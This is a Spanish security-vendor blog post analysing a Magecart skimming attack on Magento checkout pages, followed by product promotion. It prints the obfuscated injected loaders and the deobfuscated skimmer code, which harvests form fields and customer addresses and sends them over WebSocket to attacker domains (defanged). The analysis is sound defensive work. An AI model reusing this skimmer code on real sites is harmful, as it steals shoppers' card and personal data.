Skip to main content
Blog
Blog Attacks

Nuevo código de ataque Magecart al descubierto

El 14 de octubre publicamos un artículo sobre cómo se estaba produciendo otro ataque Magecart en Magento. En ese momento solo identificamos un script como responsable. Hoy pudimos encontrar y analizar el ataque con mayor detalle. El ataque decodificado Este fue el código inyectado: <script> const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23]; const zep = 42; window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.h

Oct 23, 2024 Actualizado Jul 20, 2026 4 min read
new-magecart-attack-image-cover
Tabla de Contenidos

Resumen: análisis de skimmer ofuscado

  • Aleatorio a propósito: El script inyectado parece un array aleatorio de 30 bytes, y ese es precisamente el objetivo, porque las comprobaciones de hash y la revisión humana pasan por alto código ensamblado en tiempo de ejecución mediante aritmética XOR y reconstrucción con String.fromCharCode.
  • Desofuscado automáticamente: El payload abre un WebSocket a wss://gstatlc[.]org/jivo y solo se activa en la ruta onestepcheckout de Magento, y el motor de cside lo desofusca y desempaqueta automáticamente en lugar de esperar a que un investigador publique un análisis.
  • Revisa tu herramienta: Si tu proceso de revisión depende de leer ficheros fuente a ojo, los skimmers ofuscados permanecen invisibles durante meses, así que decide si tu herramienta realmente desofusca los payloads por sí misma o simplemente los reenvía sin más.

¿Poco tiempo? Consulta el bloqueo de Magecart y skimmers en el navegador de cside. Cubre todo lo de abajo en un solo despliegue.

El 14 de octubre, publicamos un artículo sobre cómo se estaba produciendo otro ataque Magecart en Magento. En ese momento solo identificamos un script como responsable.

Hoy pudimos encontrar y analizar el ataque con mayor detalle.

El ataque decodificado

Este fue el código inyectado:

<script>
const qbq = [93,89,89,16,5,5,77,89,94,75,94,70,73,4,69,88,77,5,64,67,92,69,21,89,69,95,88,73,79,23];
const zep = 42;
window.sss = new WebSocket(String.fromCharCode(...qbq.map(hwo => hwo ^ zep)) + encodeURIComponent(location.href));
window.sss.addEventListener('message', event => {new Function(event.data)()});
</script>

Al decodificar este script ofuscado, descubrimos que establece una conexión WebSocket con la siguiente URL: wss://gstatlc[.]org/jivo?source=.

Entonces sospechamos que el ataque probablemente tenía como objetivo el web skimming, es decir, el robo de datos de clientes como información de tarjetas de crédito.

Luego encontramos el siguiente script:

! function() {
    function e(e) {
        let t = "";
        for (let n = 0; n < e.length; n += 2) {
            let o = e.slice(n, n + 2),
                c = parseInt(o, 16);
            t += String.fromCharCode(c)
        }
        return t
    }
    if (window.location.href.includes(e("6f6e6573746570636865636b6f7574"))) {
        const t = new WebSocket(e("7773733a2f2f61766765617273686f702e6164732d616e616c797369732e6e65743a3434332f7773")),
            n = "x-magento-65dsf";
        t.onmessage = function(t) {
            ! function(t) {
                if (!document.querySelector("#" + n)) {
                    const o = document.createElement("script");
                    o.id = n, o.text = e(t), document.head.appendChild(o)
                }
            }(t.data)
        }
    }
}();

Esto conduce a código ofuscado, que nuestra plataforma cside desofusca automáticamente. Encontramos diversas funciones diseñadas para capturar datos.

// Function to decode the selectors
    function decodeSelectors() {
        let decoded = hexDecode(encodedSelectors);
        let selectorArray = decoded.split('|');
        return selectorArray;
    }
 // Function to check if specific elements are present on the page
    const checkElementsPresence = () => {
        let selectors = decodeSelectors();
        return selectors.every(selectorEntry => {
            let [selector, count] = selectorEntry.split(':');
            let elements = document.querySelectorAll(selector);
            return elements.length >= Number(count);
        });
    };
  // Function to generate a unique identifier
    const generateUUID = () => {
        return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(/[018]/g, c =>
            (c ^ crypto.getRandomValues(new Uint8Array(1))[0] & 15 >> c / 4).toString(16)
        );
    };
// Function to encode data as hex
    function hexEncode(str) {
        return str.split('').map(char => char.charCodeAt(0).toString(16)).join('');
    }
 // Function to collect form data
    const collectFormData = (context) => {
        let data = {};
        let counts = {};
        let inputs = context.querySelectorAll('input, select, textarea');

        for (let i = 0; i < inputs.length; ++i) {
            let element = inputs[i];
            let name = element.name || element.id;
            let value = element.value;

            if (value !== '' && name) {
                if (!counts[name]) counts[name] = 0;

                if (element.tagName !== 'SELECT') {
                    counts[name] === 0
                        ? data[name] = value
                        : data[`${name}#${counts[name]}`] = value;
                } else {
                    let selectedOption = element.options[element.selectedIndex].text;
                    counts[name] === 0
                        ? data[name] = selectedOption
                        : data[`${name}#${counts[name]}`] = selectedOption;
                }

                counts[name]++;
            }
        }

        data['url'] = window.location.hostname;
        data['ua'] = window.navigator.userAgent;
        data['ts'] = Date.now();
 // Attempt to collect customer address data if available
        if (window.checkoutConfig && window.checkoutConfig.customerData && window.checkoutConfig.customerData.addresses) {
            try {
                let addresses = window.checkoutConfig.customerData.addresses;
                data['address_data'] = addresses[Object.keys(addresses)[0]];
            } catch (e) { /* Ignore errors */ }
        }

        return hexEncode(JSON.stringify(data));
    };
  // Interval to repeatedly check and send data
    let intervalId = setInterval(() => {
        if (checkElementsPresence()) {
            let formData = collectFormData(document.body);
            const uuid = generateUUID();
            const webSocketURL = hexDecode(encodedWebSocketURL) + '/' + uuid;
            const ws = new WebSocket(webSocketURL);

            ws.addEventListener('open', function () {
                ws.send(formData);
                ws.close(1000, 'done');
                clearInterval(intervalId);
            });
        }
    }, 1000);
})();

Ahí apareció otro dominio malicioso: wss://adsprove[.]online/ws.

Todas estas funciones demuestran ahora que el script efectivamente tiene como objetivo diversos campos de entrada de visitantes desprevenidos. También demuestra que monitorizar y bloquear estos intentos desde el lado del cliente es vital para detectar y detener estos ataques.

Cómo proteger tu sitio

cside se fundó para detener este tipo de ataques. Cualquier script de terceros presente en tu sitio que esté comprometido puede ser detectado y bloqueado por nosotros antes de que se ejecute en el navegador de tus visitantes. Esto os protege a ellos y a ti de actores maliciosos.

Al usar nuestro plan gratuito, estás a salvo de este y otros ataques similares.

Himanshu Anand
Software Engineer

I'm a software engineer and security analyst.

Monitoriza y protege tus scripts de terceros

Gain full visibility and control over every script delivered to your users to enhance site security and performance.

Empieza gratis o prueba Business con una versión de prueba de 14 días.

Interfaz del panel de cside que muestra la monitorización de scripts y el análisis de seguridad
Related Articles
Reservar una demo

¿Quieres verlo en detalle con un ingeniero?

Treinta minutos, sobre tu propio sitio. Nada de diapositivas.

Reserva una demo personalizada para ver:

Cómo cumplir los requisitos 6.4.3 y 11.6.1 de PCI DSS en 1 día
Por qué los scripts de terceros son un riesgo de seguridad para ti y tus visitantes
Cómo monitorizar fugas de privacidad y consentimiento (RGPD, CCPA) en cada tercero
Cómo frenar el abuso de registros, el uso compartido de cuentas y el fraude de contracargos con device intelligence
Cómo detectar y controlar agentes de IA y bots que llegan a tu sitio en tiempo real

¿Prefieres mandarnos una pregunta?

Buscando huecos libres…

Solo humanos de verdad. Nos daríamos cuenta.

¿Problemas para reservar? Abrir el calendario en una pestaña nueva

¿Qué quieres resolver?

Cuéntanoslo en una línea y te responderemos con algo útil, no con un discurso genérico.

Solemos ayudar con:

Ver qué scripts de terceros se ejecutan en tu sitio
Evidencias para PCI DSS 6.4.3 y 11.6.1
Bots, agentes de IA y robo de cuentas

¿Prefieres reservar una hora? Elegir un hueco